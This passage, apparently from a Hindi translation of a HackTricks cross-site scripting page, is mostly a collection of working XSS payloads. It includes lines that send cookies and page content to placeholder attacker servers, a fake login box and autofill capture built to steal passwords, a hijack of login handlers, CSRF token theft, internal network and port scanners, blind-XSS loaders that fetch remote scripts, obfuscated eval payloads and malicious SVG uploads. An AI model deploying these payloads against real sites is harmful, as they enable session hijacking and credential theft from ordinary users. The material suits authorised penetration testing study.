उपयोगकर्ता को iframe से बाहर निकले बिना पेज में नेविगेट कराएं और उसकी क्रियाएँ चुरा लें (जिसमें forms में भेजी गई जानकारी भी शामिल है):
Cookies प्राप्त करें
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
आप JavaScript से cookies तक पहुँच नहीं पाएँगे अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ some ways to bypass this protection हैं अगर आप काफी भाग्यशाली हों।
पृष्ठ सामग्री चुराएँ
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
आंतरिक IPs खोजें
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
छोटा समय प्रतिक्रिया देने वाले port का संकेत है लंबा समय प्रतिक्रिया न होने का संकेत है.
Chrome में प्रतिबंधित ports की सूची here और Firefox में here देखें।
credentials माँगने के लिए बॉक्स
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
जब कोई भी डेटा password फ़ील्ड में डाला जाता है, तो username और password attackers server पर भेज दिए जाते हैं; भले ही client एक saved password चुनता हो और कुछ भी न टाइप करे, credentials ex-filtrated हो जाएँगे।
Hijack form handlers to exfiltrate credentials (const shadowing)
यदि कोई critical handler (e.g., function DoLogin(){...}) पेज में बाद में घोषित किया गया है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो handler को preempt और lock करने के लिए उसी नाम का एक const पहले परिभाषित करें। बाद की function declarations एक const नाम को rebind नहीं कर सकतीं, जिससे आपका hook नियंत्रण में रहता है:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए।
- यदि आपका payload
eval(...)में लिपटा है, तोconst/letbindings global नहीं बनेंगे। सच्चा global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताई गई dynamic<script>injection technique का उपयोग करें। - जब keyword filters code को block कर दें, तो Unicode-escaped identifiers या
eval(atob('...'))delivery के साथ संयोजन करें, जैसा ऊपर दिखाया गया है।
Keylogger
github पर खोजने पर मुझे कुछ अलग-अलग मिले:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- आप metasploit
http_javascript_keyloggerका भी उपयोग कर सकते हैं
CSRF tokens चुराना
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage संदेश चुराना
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers का दुरुपयोग
Shadow DOM तक पहुँच
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
आप यह भी उपयोग कर सकते हैं: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - छिपी हुई सामग्री तक पहुँच
this writeup से पता चलता है कि भले ही कुछ मान JS से गायब हो जाएं, तब भी उन्हें विभिन्न objects के JS attributes में पाया जा सकता है। उदाहरण के लिए, REGEX का एक input तब भी पाया जा सकता है जब regex के input का value हटा दिया गया हो:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force सूची
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS अन्य कमजोरियों का दुरुपयोग
Markdown में XSS
क्या आप ऐसा Markdown कोड इंजेक्ट कर सकते हैं जिसे रेंडर किया जाएगा? शायद आपको XSS मिल सकता है! देखें:
XSS से SSRF
क्या आपको किसी caching उपयोग करने वाली साइट में XSS मिला है? Edge Side Include Injection के जरिए इसे SSRF में अपग्रेड करने का प्रयास करें, इस payload के साथ:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
इस तकनीक के बारे में अधिक जानकारी यहाँ: XSLT.
डायनामिक रूप से बनाए गए PDF में XSS
यदि कोई वेब पेज user controlled input का उपयोग करके PDF बना रहा है, तो आप उस PDF बनाने वाले bot को arbitrary JS code को निष्पादित करने के लिए ट्रिक करने की कोशिश कर सकते हैं।
इसलिए, अगर PDF creator bot किसी तरह के HTML tags को पाता है, तो वह उन्हें interpret करेगा, और आप इस व्यवहार का abuse करके Server XSS पैदा कर सकते हैं।
यदि आप HTML tags inject नहीं कर पा रहे हैं तो inject PDF data करने का प्रयास करना फायदेमंद हो सकता है:
Amp4Email में XSS
AMP, जिसका उद्देश्य मोबाइल डिवाइस पर वेब पेज प्रदर्शन को तेज करना है, HTML tags को JavaScript के साथ जोड़ता है ताकि कार्यक्षमता तेज़ और सुरक्षित रहे। यह विभिन्न फीचर के लिए कई components को सपोर्ट करता, जिन्हें आप AMP components के माध्यम से देख सकते हैं।
AMP for Email फॉर्मेट कुछ विशेष AMP components को ईमेल के लिए बढ़ा देता है, जिससे रिसीवर सीधे अपने ईमेल में ही कंटेंट के साथ interact कर सकते हैं।
उदाहरण writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
निम्नलिखित जैसी फ़ाइल को एक image के रूप में अपलोड करें (from http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
और अधिक SVG payloads के लिए देखें https://github.com/allanlw/svg-cheatsheet
विविध JS ट्रिक्स & संबंधित जानकारी
Misc JS Tricks & Relevant Info
XSS संसाधन
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks